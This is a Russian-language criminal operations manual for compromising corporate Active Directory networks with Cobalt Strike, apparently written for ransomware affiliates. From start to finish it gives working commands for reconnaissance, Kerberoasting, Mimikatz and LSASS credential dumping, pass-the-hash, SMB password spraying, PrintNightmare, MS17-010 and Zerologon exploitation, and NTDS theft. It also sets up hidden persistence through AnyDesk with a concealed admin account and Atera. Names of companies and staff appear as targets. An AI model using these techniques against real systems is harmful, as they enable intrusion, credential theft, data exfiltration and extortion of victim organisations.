CobaltStrike
MANUALS_V2
Active Directory

I Этап. Повышение привелегий и сбор информации

1. Начальная разведка

1.1. Поиск дохода компании

Находим сайт компании
В Гугле: САЙТ + revenue (mycorporation.com+revenue)
("mycorporation.com" "revenue")
чекать больше чем 1 сайт, при возможности
(owler, manta, zoominfo, dnb, rocketrich)

1.2. Определене АВ

1.3. **shell whoami** <===== кто я

1.4. **shell whoami /groups** --> мои права на боте (если бот пришол с синим моником)

1.5.1. **shell nltest /dclist:** <===== контреллеры домена

net dclist <===== контреллеры домена

1.5.2. **net domain_controllers** <===== эта команда покажет ip адреса контроллеров домена

1.6. **shell net localgroup administrators** <===== локальные администраторы

1.7. **shell net group /domain "Domain Admins"** <===== администраторы домена

1.8. **shell net group "Enterprise Admins" /domain** <===== enterprise администраторы

1.9. **shell net group "Domain Computers" /domain** <===== общее кол-во пк в домене

1.10. **net computers** <===== пинг всех хостов с выводом ip адресов.

Дальше действуем в зависимости от полученной информации, к примеру если там 3к тачек, то лучше сначало выполнить Kerberoast атаку, потому что бот за 2 часа, пока шары будет снимать, отвалится и т.д.

2. Снятие шар

Шары снимаем в двух случаях:
1. Когда ищем куда можно закинуть полезную нагрузку. В этом случае нам нужны только шары с правами на запись (админ шары без шар с правами на чтение). Для их получения выполняем:

powershell-import /home/user/work/ShareFinder.ps1

psinject 1234 x64 Invoke-ShareFinder -CheckAdmin -Verbose | Out-File -Encoding ascii C:\ProgramData\sh.txt

2. Когда ищем инфу которую будем выкачивать на втором этапе. В данном случае нам нужны шары с правами на чтение. Одеваем токен администратора домена от которого будем запускать выгрузку данных (разные админы могут иметь доступ к разным шарам) и снимаем шары следующей командой:

powershell-import /home/user/work/ShareFinder.ps1

psinject 5209 x64 Invoke-ShareFinder -CheckShareAccess -Verbose | Out-File -Encoding ascii C:\ProgramData\shda.txt

Далее изучаем снятые шары , нас интересуют
* Финанс доки
* Бухгалтерия
* Айти
* Клиенты
* Проекты

И так далее, все зависит от того,чем занимаеться наш таргет.
Затем выкачиваем то что отбрали, об этом во втором разделе.

3. Kerberoast атака

Цель - получение хеша админа для последующего брута

1 способ:
powershell-import /home/user/work/Invoke-Kerberoast.ps1

psinject 4728 x64 Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -FilePath c:\ProgramData\pshashes.txt -append -force -Encoding UTF8

2 способ:
execute-assembly /home/user/work/Rubeus.exe kerberoast /ldapfilter:'admincount=1' /format:hashcat /outfile:C:\ProgramData\hashes.txt

execute-assembly /home/user/work/Rubeus.exe asreproast /format:hashcat /outfile:C:\ProgramData\asrephashes.txt

В результате получаем файлы в дериктории C:\ProgramData\, в которых может оказаться хеш, скачиваем и в случае удачи отправляем хеши на брут через тимлидов.

4. Mimikatz

mimikatz
version

Извлечение из памяти паролей в виде открытого текста
privilege::debug – проверить наличие соответствующих разрешений
log nameoflog.log – запустить функцию логирования
sekurlsa::logonpasswords – вывод всех хранящихся на этом компьютере паролей в незашифрованном виде

log
privilege::debug
sekurlsa::logonpasswords
token::elevate
lsadump::sam
exit

lsadump::dcsync /user:Administrator - pass ДА узнавать на пдц
sekurlsa::pth /user: /domain: /ntlm: /run:cmd - ПАСС ДЕ ХАШ (юзать вместо пароля - его NTLM) (то же самое что runas /user:user cmd #PASSWORD#)
Mimikatz в Cobalt Strike
getsystem
hashdump
logonpasswords

beacon> make_token domen\user password - надеть токен от юзера
beacon> pth domen\user NTLM - надеть токен от юзера
beacon> rev2self - вернуть первоначальный вид сессии

beacon> dcsync domain.com (там где domain.com - вставляешь домен сети) - забрать все хеши с домена (нужен токен ДА)

Если нашли логин и хэш:
pth Domain\Admin pass(в виде хэша)
shell dir \\ip *или имя хоста*\c$

EliAdmin:1001:aad3b435b51404eeaad3b435b51404ee:b0059c57f5249ede3db768e388ee0b14:::
pth ELC\EliAdmin b0059c57f5249ede3db768e388ee0b14

Если нашли логин и пароль
make_token Domain\Admin Pass
rev2self - снять токен

Чтение lsass
Качаем последний релиз mimikatz из github
Открываем cmd от администратора

C:\work\mimikatz\win32 > mimiKatz
privilege::debug
sekurlsa::minidump lsass.dmp — работать с файлом дампа

log — дублировать вывод в лог

Смотрим в файл mimikatz
Сохраняем:
1. Логины и пароли в чистом виде
2. Если пароля нет, сохраняем NTLM и SHA1 (В дальнейшем можно декриптануть или использовать атаку Pass The Hash)

На Windows 2003 сдампить lsass.exe через taskmgr нет возможности.

Открываем «Диспетчер задач», заходим в процессы, выбираем **lsass.exe**, жмем ПКМ по нему и жмем **Dump Process**.
Дамп процесса должен лежат в
C:\user\%%user%%\AppDara\Local\Temp\lsass.DMP
Выкачиваем дамп любым способом

Использование **procdump.exe** и **procdump64.exe**
Закачиваем **procdump.exe** или **procdump64.exe**

Запускаем **procdump.exe** или **procdump64.exe**
procdump.exe -acceptula -ma lsass.exe C:\compaq\lsass.dmp
procdump64.exe -acceptula -ma lsass.exe C:\compaq\lsass.dmp
Выкачиваем **lsass.dmp** и удаляем **lsass.dmp** и **procdump**

Zerologon

mimikatz lsadump::zerologon /target:[controller.domain.local] /account:[controller]$ /exploit
mimikatz lsadump::zerologon /target:DC01.contoso.com /account:DC01$ /exploit

Procdump: in mimikatz
lsadump::mimidump LSAdump.dmp
log
sekurlsa::logonpasswords
exit

LSASS:
метод через coba: (*** отдельное спасибо @Sven)
!*
1) getsystem
2) shell rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump PID C:\ProgramData\lsass.dmp full (пид указываем от лсас)
(снять на удаленной тачке) coba_wmic:
shell wmic /node:[target] process call create "cmd /c rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump PID

C:\ProgramData\lsass.dmp full"
remote-exec psexec [target] cmd /c rundll32.exe

C:\windows\System32\comsvcs.dll, MiniDump PID

C:\ProgramData\lsass.dmp full

==========
метод через RDP:
открываем **taskmgr => PKM po lsass process => create Dump file.** \\
Далее выкачиваем файл себе на комп.

5. Проверка наличия сохраненных паролей в файлах групповых политик домена

---

execute-assembly /home/user/work/Net-GPPPassword.exe

---

6. SMB Autobrut

Входными данными для проведений данной атаки являются исключительно пароли.

- **те, которые сдампились с браузера CharpChrome'ом**
- **те, которые сдампились SeatBeltom**
- **те, которые сдампились в процессе проведения работ внутри сети (мимикатцем итд)**

И вцелом любые другие, например найденные записанными в файлах

Если подобных паролей меньше чем мы можем запустить в брутфорс атаку - дополняем смело их из следующего списка наиболее частно встречающихся в корпоративной среде.

```
Password1
Hello123
password
Welcome1
banco@1
training
Password123
job12345
spring
food1234
```

Также рекомендуем использовать списки паролей основывающиеся на временах года и текущем годе. Учитывая что пароли меняются раз в три месяца - можно брать "запас" для генерации такого листа.
Например в Августе 2020 года мы создаем список следующего содержания

```
June2020
July2020
August20
August2020
Summer20
Summer2020
June2020!
July2020!
```

August20!
August2020!
Summer20!
Summer2020!

Все пароли выше попадают либо в 3 из 4 требований к паролям Актив Директори (чего хватает для их установки пользователями), либо во все 4 требования.
Прим. рассматриваем наиболее популярный вариант требований.

Сценарий с домен администраторами
1. Собираем список доменных администраторов командой
shell net group "domain admins" /dom
Полученные данные записываем в файл **admins.txt**
2. Заливаем этот файл на хост в папку **C:\ProgramData**
3. Запрашиваем информацию по доменной политике блокировки аккаунтов (защиты от брутфорса)
beacon> shell net accounts /dom

Tasked beacon to run: net accounts /dom
host called home, sent: 48 bytes
received output:

The request will be processed at a domain controller for domain shookconstruction.com.
Force user logoff how long after time expires?: Never
Minimum password age (days): 1
Maximum password age (days): 42
Minimum password length: 6
Length of password history maintained: 24
Lockout threshold: Never
Lockout duration (minutes): 30
Lockout observation window (minutes): 30
Computer role: BACKUP

Нас интересует параметр **Lockout threshold** который чаще всего содержит определенное числовое значение которое в дальнейшем мы должны использовать как параметр (в данном случае стоит **Never** - значит что защита от перебора паролей отключена.
В этом гайде в дальнейшем мы укажем значение 5 как ориентировочно чаще всего встречающееся.
Параметр **Minimum password length** указывает на минимальное допустимое количество символов пароля, требуется для фильтрации **нашего "списка" паролей** который мы будем задавать.

4. В исходном коде скрипта указываем домен в котором скрипт будет запускаться:
$context = new-object System.DirectoryServices.ActiveDirectory.DirectoryContext("Domain","shookconstruction.com")

5. Импортируем и запускаем скрипт
powershell-import /home/user/work/scripts/Invoke-SMBAutoBrute.ps1

psinject 4728 x86 Invoke-SMBAutoBrute -PasswordList "Password1, Hello123, Welcome1, password, banco@1, training, Password123, spring, food1234, job12345, 1qazXDR%+"

Список паролей состоит из одного который у нас был "найден" и двух из списка популярных паролей

6. Смотрим за ходом выполнения скрипта и видим результат
Success! Username: Administrator. Password: 1qazXDR%+
Success! Username: CiscoDirSvcs. Password: 1qazXDR%+

Мы сбрутили двух администраторов домена.

Сценарий без указания списка пользователей отличается только двумя вещами.
psinject 4728 x86 Invoke-SMBAutoBrute -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5

Мы не указываем параметры **UserList** и **ShowVerbose**. Отсутствие первого означает то что перебор будет проводиться по ВСЕМ пользователям домена, отсутствие второе указывает на то что выводится будут только УСПЕШНЫЕ результаты.

Success! Username: Administrator. Password: 1qazXDR%+
Success! Username: CiscoDirSvcs. Password: 1qazXDR%+
Success! Username: support. Password: 1qazXDR%+
Success! Username: accountingdept. Password: 1qazXDR%+

Как видите мы смогли найти аккаунты других пользователей которые могут быть полезны для дальнейшего продвижения по сети и поднятия прав.
Если позитивного результата не будет, можно повторить через некоторое время (оптимально умножить на два параметр Lockout duration перед следующей попыткой) с новым списком паролей.

Окончание работы скрипта будет отмечено выводом в бикон сообщения

7. PrintNightmare

Уязвимость свежая, но уже нашумевшая. Пользуемся, пока не прикрыли) CVE-2021-34527 Позволяет создать локального администратора, полезно если прилетел агент с правами простого юзера
На агенте:

powershell-import //импортируем файл CVE-2021-34527.ps1

powershell Invoke-Nightmare -NewUser "HACKER" -NewPassword "FUCKER" -DriverName "Xeroxxx" //создаём пользователя HACKER с паролем FUCKER, добавится в локаладмины

spawnas COMPNAME\HACKER FUCKER https //вместо https имя листенера
Прилетает агент из под нашего нового локаладмина Так же есть шанс получить агента из под **SYSTEM***,* делаем следующее после импорта:
Invoke-Nightmare -DLL "\polniy\put\do\payload.dll"

https://github.com/calebstewart/CVE-2021-1675

8. ms17_010

Windows XP и 2003 — не имеют патч ms17_010
Windows 7, 8, 10, 2008, 2012, 2016 — могут быть не пропатчены и соответственно уязвимы. Во время атаки на них, для повышения шансов на успешную эксплуатацию указываем логин и пароль пользователя домена.

Сняли AD, пинганули ip адреса.
ip адреса должны быть написаны в одну строку через пробелы.

1. Запуск прокси в Cobalt Strike:
В консоли Cobalt Strike вводим команду:
socks 18585
18585 — порт

2. Сканирование на наличие уязвимости:
Вводим в консоль **Metasploit** следующие команды:
use auxiliary/scanner/smb/smb_ms17_010
set Proxies socks4: 172.98.192.214:18589
set threads 10
set RHOSTS 10.0.0.10 10.0.0.20 10.0.0.30 10.0.0.40

При атаке на Windows 7, 8, 10, 2008, 2012, 2016 дополнительно указываем:
set smbuser логин
set smbdomain домен
set smbpass пароль

run

auxiliary/scanner/smb/smb_ms17_010 — вспомогательный модуль Metasploit, выполняющий сканирование цели на наличие уязвимости;
set Proxies socks4: 172.98.192.214:18589 — указываем метасплоиту использовать прокси для доступа к целевой сети;
172.98.192.214 — ip сервера Cobalt Strike
18589 — порт
set threads 10 — использовать 10 потоков
set RHOSTS — все ip адреса целей через пробел
run — запуск модуля

Результат:
[*] Scanned 10 of 44 host
[+] 10.0.0.200:445 -Host is VULNERABLE to… <== уязвимый хост

Сохраняем ip адреса уязвимых хостов.

3. Использование уязвимости для получения сессии meterpreter
use exploit/windows/smb/ms17_010_psexec
set Proxies socks4: 172.98.192.214:18589
set RHOSTS 10.0.0.10 10.0.0.20 10.0.0.30 10.0.0.40
set payload windows/meterpreter/bind_tcp
set verbose 1
run

Если сессия не открылась меняем формат файла полезной нагрузки:
set target 1
run
set target 2
run
set target 3
run

Меняем полезную нагрузку и опять поочередно пробуем открыть сессию различными форматами файлов полезной нагрузки.
set payload windows/meterpreter/bind_tcp_rc4
Также пробуем все форматы файлов

Если опять не сработало: Следующий способ срабатывает редко. Пробуем прокинуть сессию в **Cobalt Strike:**
set payload windows/meterpreter/reverse_https
set lport 443
set lhost 172.98.192.214 (ip Cobalt Strike)
И снова пробуем все форматы файлов

use exploit/windows/smb/ms17_010_psexec — модуль(эксплоит) **Metasploit**, доставляющий полезную нагрузку на цель и открывающий сессию
set payload windows/meterpreter/bind_tcp — указываем какую полезную нагрузку использовать.
target 1 это **ps1** (на windows xp и windows 2003 PowerSell не работает, используем на более новых версиях windows)
target 2 это **exe**
target 3 это **mof**

Результат:
Должна появится сессия. В **Metasploit** можно проверить командой **sessions.**

После получения сессии пытаемся получить логин и пароль от учетной записи администратора домена:
Переходим в сессию. Команда **sessions 1** (1 — номер сессии)
getuin — получить пид процесса, на котором работает сессия. Если пид есть, значит сессия жива.
hashdump — сохраняем хеши
Снимаем пароли и хеши:
load mimikatz — загружаем мимикатз на цель.
Wdigest - пытаемся получить пароли введенные самим пользователем

kerberos - ?
livessp - ?
ssp - введенные через РДП
tspkg - ?
background - свернуть сессию (потом можно опять открыть с **sessions 1**)

Если сессию получить так и не получилось, то пробуем создать админа и подключится через него по RDP.

4. Использование уязвимости для запуска команды (создание пользователя и добавление его в группу локальных администраторов)

```
use auxiliary/admin/smb/ms17_010_command
set Proxies socks4: 172.98.192.214:18589
set RHOSTS 10.0.0.200 10.0.0.37 10.0.0.200 10.0.0.81
set command net user OldAdmin 1Q2w3E4r5T6y /add
set verbose 1
run
set command net localgroup Administrators OldAdmin /ADD
run
```

use auxiliary/admin/smb/ms17_010_command — вспомогательный модуль **Metasploit,** выполняющий запуск указанной команды с правами администратора на цели и возвращающий результат в консоль Metasploit;
set command ... — указываем какую команду выполнить;
net user OldAdmin 1Q2w3E4r5T6y /add — создать пользователя;
net localgroup Administrators OldAdmin /ADD — добавить пользователя в группу локальных администраторов
set verbose 1 — более подробный вывод. Если что-то не работает, отправляем его кому-нибудь более опытному.

Результат:
Должна отработать указанная команда.
Понять что команда отработала можно по строке **The command completed successfully**

Подключаемся по RDP.

Вариант 1 — запуск криптованного пайлоада (может получить сессию)
Тут всё просто, любым способом закидываем файл и запускаем его.

Вариант 2 — получить дамп процесса **lsass.exe** и достать с него креды локально.
Как это сделать написана в **мане Mimikatz**

9. RouterScan

Софт для виндовс, позволяет брутить роутеры, камеры, NASы некоторые(зависит от типа авторизации), если у них есть веб-интерфейс.

Сначала пытается понять, что за устройство, потом применить подходящие к нему эксплоиты(ломает микротик даже, если прошивка ниже 6.12 за секунду и выдаёт пароль в чистом виде)
Если эксплоитов под данную модель нет-то начинает брутить. Словари по необходимости подгружаем в 3 текстовых файла, начинающихся на **auth_***.txt**, лежащие в корне программы. В таком виде:
логин пароль
логин пароль
Только не через пробел отступы, а через Tab
Подникаем сокс на кобе, проксируем через ProxyFier, запускаем у себя на винде, выставляем диапазоны или конкретные ip, количество потоков(5 самое то) и timeout(это значение лучше повысить до 3000мс, чтобы не пропустить). Порты дефолтные уже указаны, можно добавить свои, если веб висит не на стандартных. В Scanning Module оставляем галочку на первом(Router scan main) и HNAP 1.0, остальные вам вряд ли пригодятся. Жмём start, ждём и надеемся на результат

10. Zerologon

Есть два способа.
1. Через миник, в мане про мимик
2. Через подключения скрипта в кобу

Выкачиваем скрипт тут
https://github.com/rsmudge/ZeroLogon-BOF

Подключаем как обычно, адрес скрипта
ZeroLogon-BOF/dist/zerologon.cna
В консоли должна появится новая команда - **zerologon**

Применение:

net domain - получаем имя домена (Например domain.local)

Запускаем эксплоит:
zerologon iunderstand domain.local

iunderstand - стоп слово. Эксплуатируя эту уязвимость мы сбрасываем пароль. Этот эксплоит может привести к нарушению функционирования контроллера домена. ИСПОЛЬЗУЕМ В ПОСЛЕДНЮЮ ОЧЕРЕДЬ.

В случае успеха мы получаем:
Success! Use pth .\\%S 31d6cfe0d16ae931b73c59d7e0c089c0 and run dcscync

Делаем все как написанно. выполняем
pth .\\%S 31d6cfe0d16ae931b73c59d7e0c089c0

И выполняем
dcsync domain.local
Если все успешно отработало, мы получаем NTDS

11. Закреп

Сразу после получения **SYSTEM прав.**
AnyDesk - на заброшенных хостах
Atera - на остальных

11.1. Закреп AnyDesk

```
 Function AnyDesk {

    mkdir "C:\ProgramData\AnyDesk"
    # Download AnyDesk
    $clnt = new-object System.Net.WebClient
    $url = "http://download.anydesk.com/AnyDesk.exe"
    $file = "C:\ProgramData\AnyDesk.exe"
    $clnt.DownloadFile($url,$file)

    cmd.exe /c C:\ProgramData\AnyDesk.exe --install
C:\ProgramData\AnyDesk --start-with-win --silent

    cmd.exe /c echo J9kzQ2Y0qO | C:\ProgramData\anydesk.exe --
set-password

    net user oldadministrator "qc69t4B#Z0kE3" /add
    net localgroup Administrators oldadministrator /ADD
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v
oldadministrator /t REG_DWORD /d 0 /f

    cmd.exe /c C:\ProgramData\AnyDesk.exe --get-id

    }
```

AnyDesk

Выполняем код в **Powershell ISE Run As Admin**
На выходе **получаем ID**
Сохраняем его к себе
На отдельном дедике\впс\виртуалке скачиваем Anydesk указываем ID
Жмем Console Account
Вводим пароль
Цитировать

```
J9kzQ2Y0qO
```

И далее авторизываемся локальным админом либо доменной учеткой и пользуемся прелестями **Anydesk**

Также можно скачать\загрузить на\с машину жертвы что бывает удобно в осмотре и поиске документации точечно.

11.2. Закреп Atera

Сайт **https://app.atera.com**
Регестрируемся
Сверху нажимаем **Install agent**
Скачиваем агент и закидываем его на бота
Запускаем агент:
shell УСТАНОВЩИК АГЕНТА.msi
На сайте в разделе Devices должен появится доступ
Удаляем установщик агента

13. Финальная разведка

13.1. Поиск трастов

shell nltest /domain_trusts /all_trusts

13.2. Достаем NTDS

Если нашли Домен Адмена
make_token Domain\Admin pass
shell dir \\айпи или хотнейм\c$ на ПДК или ДК, если нас пропускает:
dcsync domain.com (**domain.com** - домен сети)
Получаем NTDS
Нужны привелегии:
ReplicatingDirectoryChangesAll
ReplicatingDirectoryChanges

БЕСПАЛЕВНЫЙ ДАМП НТДС
shell wmic /node:"DC01" /user:"DOMAIN\admin"
/password:"cleartextpass" process call create "cmd /c vssadmin
list shadows >> c:\log.txt"

делаем запрос на листинг шэдоу копий, там есть указание даты, проверьте чтобы была свежая дата
почти наверняка они там уже есть, если нет то делаем сами

net start Volume Shadow Copy
shell wmic /node:"DC01" /user:"DOMAIN\admin"
/password:"cleartextpass" process call create "cmd /c vssadmin
create shadow /for=C: 2>&1"

далее в листинге шэдоу копий находим самую свежую
Shadow Copy Volume:
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy55
соответственно нам нужен номер копии для следующей команды

shell wmic /node:"DC01" /user:"DOMAIN\admin"
/password:"cleartextpass" process call create "cmd /c copy
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy55\Windows\NTDS\NT
DS.dit c:\temp\log\ & copy

\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy55\Windows\System32\config\SYSTEM c:\temp\log\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy55\Windows\System32\config\SECURITY c:\temp\log\"

в **c:\temp\log** должны упасть файлы **ntds.dit / security / system**
берём портативный консольный 7z и пакуем в архив с паролем
Код: [Выделить]

7za.exe a -tzip -mx5 \\DC01\C$\temp\log.zip \\DC01\C$\temp\log -pTOPSECRETPASSWORD

выкачиваем запароленный архив себе, если при декрипте файла нтдс получаем ошибку (файл повреждён), то делаем следующее

Esentutl /p C:\log\ntds.dit

хитрость этого способа в том, что мы по факту ничего не дампим, мы просто берём и выкачиваем нтдс
чтобы не спалиться тем что вытаскиваем именно нтдс мы пакуем его в запароленный архив

если у вас траблы с тем, что палят и выкидывают из сети после дампа нтдс - пробуйте этот способ
его спалить можно только самим фактом какой-то утекающей даты с КД, причём проанализировать что именно вы тащите не зная пароль от архива невозможно

13.3. Поиск резервных копий (Backup) и NAS (NetScan)

Замечательный **инструмент-NetScan**, который облегчает разведку и поиск **NAS\Backup** и т.д.
Сканирует сети по диапазонам, используя креды юзера\админа, от имени которого запустили софт.
Выдаёт следующую информацию:

Имя хоста, открытые порты, принадлежность к группе\домену, общий объём дисков, доступные шары, производитель устройства, роль ПК\сервера

1) Грузим папку **NetScan** на любой заражённый ПК. Допустим, **C:\Programdata\netscan**

2) cd C:\programdata\netscan

3) make_token DOMAIN\admin password

4) shell netscan.exe /hide /auto:"result.xml" /config:netscan.xml /range:192.168.0.1-192.168.1.255 или для range.txt = 10.1.200.0/24

Где 0/24 маска сети так берем каждий IP после пинговки и закидаем в файл range.txt

Или записуем вряд IP через ENTER в файл range.txt и юзаем команду:

shell netscan.exe /hide /auto:"resuult.xml" /config:netscan.xml /file:range.txt

Меняем диапазоны на свои, остальное не трогаем

5) Ждём. После завершения у нас в папке появится файл result.xml, выкачиваем его себе на комп

6) Открываем NetScan у себя на винде, подгружаем туда выкачанный файл и смотрим результат в удобном формате.
Сортируем по размеру диска, так вы сразу поймёте, где самый сок спрятан//

13.4. Хантим админов

И так, если у нас есть сервера\НАСы\тейпы или облачные хранилища куда складываются бекапы, а доступа нет то нам нужны креды которые есть только у админа.

Соответсвенно его нам надо схантить. Обычно в тех сетях которых мы работаем админов 1-2-3, не более.

Люди делятся должностями на 3 типа:

Senior(Старший)
Medium(Средний)
Junior(Младший)

Конечно, нам интересны сеньоры так как у них привилегий\доступов(читай паролей) больше.
Для начала напишу несколько вариантов как определить учетные записи тех самых администраторов, которые имеют на борту пароли.

Часть1
Вариант №1:

Опрашиваем ДА
beacon> shell net group "domain admins" /domain
Tasked beacon to run: net group "domain admins" /domain
host called home, sent: 64 bytes
received output:
La demande sera traitée sur contrôleur de domaine du domaine DOMAIN.com.
Nom de groupe Domain Admins
Commentaire Designated administrators of the domain
Membres

Administrator	ClusterSvc	createch
Createch2	d01adm	da9adm
p01adm	PMPUser	q01adm
repl	s01adm	Sapserviced01
SAPServiceDA9	sapservicep01	SAPServiceQ01
sapservices01	SAPServiceSND	SAPServiceSOL

```
services                 services2               sndadm
soladm                   somadm                  staseb
telnet                   Johnadm
La commande s'est terminée correctement.
```

Смотрим и глазами фильтруем сервисные учетки и не сервисные.
Сервисные из списка выше это например
SAPServiceDA9
services
telnet
servies2
Sapservice01
...

Какие учетки нам СКОРЕЕ ВСЕГО подойдут:
staseb
Johnadm

Их записали.
Можем посмотреть кем они являются в **adfind_persons.txt**

или через команду
shell net user staseb /domain

См пример:
beacon> shell net user ebernardo /domain

```
    Tasked beacon to run: net user ebernardo /domain
    host called home, sent: 57 bytes
    received output:

User name                    ebernardo
Full Name                    Eric Bernardo
Comment
User's comment
Country/region code          (null)
Account active               Yes
Account expires              Never

Password last set            2020-12-08 12:05:15 PM
Password expires             2021-06-06 12:05:15 PM
Password changeable          2020-12-08 12:05:15 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   2021-01-29 2:25:24 PM

Logon hours allowed          All
```

```
Local Group Memberships      *Administrators       *Remote Desktop
Users
                             *Server Operators
Global Group memberships     *US Users             *Great Plains
Users
                             *Citrix Group            *VPN Users
Saskatoon
                             *Admins       -       AD       Basic
*VPNUsersHeadOffice
                             *Executives           *All Winnipeg
Staff
                             *Scribe Console Users *Domain Admins
                             *VPN            Users            USA
*Workstation.admins
                             *Domain Users
The command completed successfully.
```

Смотрим кто такой - входит в десяток групп, ИНОГДА в колонке Comment пишут кем является - **инженер\сис admин\саппорт\бизнес консультант.**
в **Last Logon** учетка должна быть АКТИВНАЯ - то есть ласт логон сегодня\вчера\на этой неделе, но никак не год назад или Never.
Если не стало понятно кто это такой после опроса смотри **adfind + проверяй linkedin(раздел ниже).**

Так 2-3-5 учеток в итоге выщепляешь из домен админов и опрашиваешь каждого и должен иметь представление кто это такой. По итогу 1-2-3 учетки получается найти кто может быть админом.

Вариант №2:
Превращаемся в домашних аналитиков - **смотрим Adfind.**
Нам интересен файл **adfind_groups**
Заходим, видим кучу текста
Жмём Ctrl + F(Notepad2 / Geany)
Вводим
dn:CN=

И кнопочку **Find All in current document.**

на выходе получаем ПРИМЕРНО следующее(я вырезал кусок и оставил 5 строк, обычно тут от 100 до 10000 строк)

```
adfind_groups:3752:
dn:CN=SQLServer2005SQLBrowserUser$TRUCAMTLDC,CN=Users,DC=domain,
DC=com
adfind_groups:3775: dn:CN=clubsocial,CN=Users,DC=domain,DC=com
adfind_groups:3800:             dn:CN=Signature             Intl-
Special,OU=Groupes,OU=Infra,DC=domain,DC=com
adfind_groups:3829: dn:CN=FIMSyncAdmins,CN=Users,DC=domain,DC=com
adfind_groups:3852:                   dn:CN=GRP-GRAPHISTE,OU=FG-
GRP,DC=domain,DC=com
```

И так, мы извлекли группы active directory.

Что нам здесь интересно и для чего мы это сделали - в **active directroy** всё структурируется и в **USA EU сетях всё делает максиимально понятно прозрачно с комментариями, пометками, прописями и тд.**

Нам интересная группа которая занимается IT, администрированием, инженерией ЛВС.

То что после поиска нам выдало - выносим в новый блокнот и делаем поиск по следующи ключ словам:
IT, Admin, engineer

В примере выше мы находим следующую строку
adfind_groups:3877: dn:CN=IT,CN=Users,DC=domain,DC=com

Переходим по строке 3877 в **adfind_Groups.txt** и видим следующее:

```
dn:CN=IT,CN=Users,DC=domain,DC=com
>objectClass: top
>objectClass: group
>cn: IT
>description: Informatique
>member: CN=MS Surface,OU=IT,DC=domain,DC=com
>member: CN=Gyslain Petit,OU=IT,DC=domain,DC=com
>member: CN=ftp,CN=Users,DC=domain,DC=com
>member: CN=St-Amand\, Sebastien\, CDT,OU=IT,DC=domain,DC=com
```

Пользователи ftp и MS Surface пропускаем, а вот **Gyslain Petit** и **St Amand Sebastien берем в оборот.**
Далее открываем **ad_users.txt**
Вводим **Gyslain Petit**
Находим пользователя со следующей информацией:

```
dn:CN=Gyslain Petit,OU=IT,DC=trudeaucorp,DC=com
>objectClass: top
>objectClass: person
>objectClass: organizationalPerson
>objectClass: user
>cn: Gyslain Petit
>sn: Petit
>title: Directeur, technologie de l'information
>physicalDeliveryOfficeName: 217
>givenName: Gyslain
>distinguishedName: CN=Gyslain Petit,OU=IT,DC=trudeaucorp,DC=com
>instanceType: 4
>whenCreated: 20020323153742.0Z
>whenChanged: 20201212071143.0Z
>displayName: Gyslain Petit
>uSNCreated: 29943
>memberOf:                        CN=GRP_Public_USA_P,OU=Securite-
GRP,DC=trudeaucorp,DC=com
>memberOf: CN=GRP-LDAP-VPN,OU=FG-GRP,DC=trudeaucorp,DC=com
>memberOf: CN=IT Support,CN=Users,DC=trudeaucorp,DC=com
```

>memberOf: CN=Directeurs,CN=Users,DC=trudeaucorp,DC=com
>memberOf: CN=GRP-IT,OU=FG-GRP,DC=trudeaucorp,DC=com
>memberOf: CN=Signature Canada,OU=Groupes,OU=Infra,DC=trudeaucorp,DC=com
>memberOf: CN=EDI,CN=Users,DC=trudeaucorp,DC=com
>memberOf: CN=IT,CN=Users,DC=trudeaucorp,DC=com
>memberOf: CN=TRUDEAU-MONTREAL,CN=Users,DC=trudeaucorp,DC=com
>memberOf: CN=everyone,CN=Users,DC=trudeaucorp,DC=com
>uSNChanged: 6908986
>department: IT Manager

Смотрим title и кто это у нас тут? Директор информационных технологий. В яблочко, казалось бы, но директор не всегда имеет у себя пароли, а вот System Administrator какой нибудь - вполне. Поэтому по второму пользователю и более проводим аналогичные манипуляции. У себя(=в конфе) делаем заметки кто есть кто и записываем логины из адфайнда(sAMAccountname) примерно так:
>sAMAccountName: gpetit

gpetit - Директор айти
staseb - такой то такой

Вторая часть варианта №2(Упрощенная):
Смотрим изначально в **adfind_users.txt**
Делаем поиск по
title:
description
departament

Если повезет, то там будет прям написаны должности. В моем тестовом кейсе это выглядит вот так:

adfind_persons:280: >title: Responsable, logistique direct import
adfind_persons:1836: >title: Chef des services techniques
adfind_persons:1955: >title: Chef comptable
adfind_persons:4544: >title: Directeur, technologie de l'information
adfind_persons:6064: >title: Présidente
adfind_persons:6191: >title: Chargée de projets, mise en marché
adfind_persons:6285: >title: Directrice marketing
adfind_persons:6848: >title: Coordonnatrice à la logistique
adfind_persons:6948: >title: Responsable de l'expedition

Соответсвенно глазами пробегаем и учетки найдены.

И так, это easy методы. Рассмотрим альтернативные поиски учеток админа.
Я знаю пока только 1 метод из простых - **linkedin**
Вбиваем в гугл запрос

НАШАЖЕРТВА.КОМ linkedin

вместо домен - вставить домен конторы.

Переходим в **Members**
Делаем поиск там по
System
Admin
Engineer
Network
It
Если у кого то выпало имя + фамилия, то вбиваем его в **адфайнд** и учетка найдены.

И так, часть №1 закончена.
Приступаем к ханту админа и осмотру

Часть №2:

Хантим админа стандартно через **SharpView**
SharpView.exe можете взять в конференции у своих тимлидов либо с конфы софта.
Команда для ханта такая:

On Linux

execute-assembly /home/user/soft/scripts/SharpView.exe Find-DomainUserLocation -UserIdentity gpetit

On Windows

execute-assembly C:\Users\Андрей\Soft\Hacking\SharpView.exe Find-DomainUserLocation -UserIdentity gpetit

где **gpetit** - учетная запись того кого ищем. то, что записано в **adfinusers** в **sAMAccountname** - вставляем именно сюда.

На выходе получаем примерно следующий лог:

```
UserDomain      : domain
UserName        : gpetit
ComputerName    : DC01.domain.LOCAL
IPAddress       : 172.16.1.3
SessionFrom     : 192.168.100.55
SessionFromName :
LocalAdmin      :


UserDomain      : domain
UserName        : gpetit
ComputerName    : SQL01.domain.LOCAL
IPAddress       : 172.16.1.30
SessionFrom     :  192.168.100.55
SessionFromName :
LocalAdmin      :
```

```
UserDomain      : domain
UserName        : gpetit
ComputerName    : lptp-gpetit.domain.LOCAL
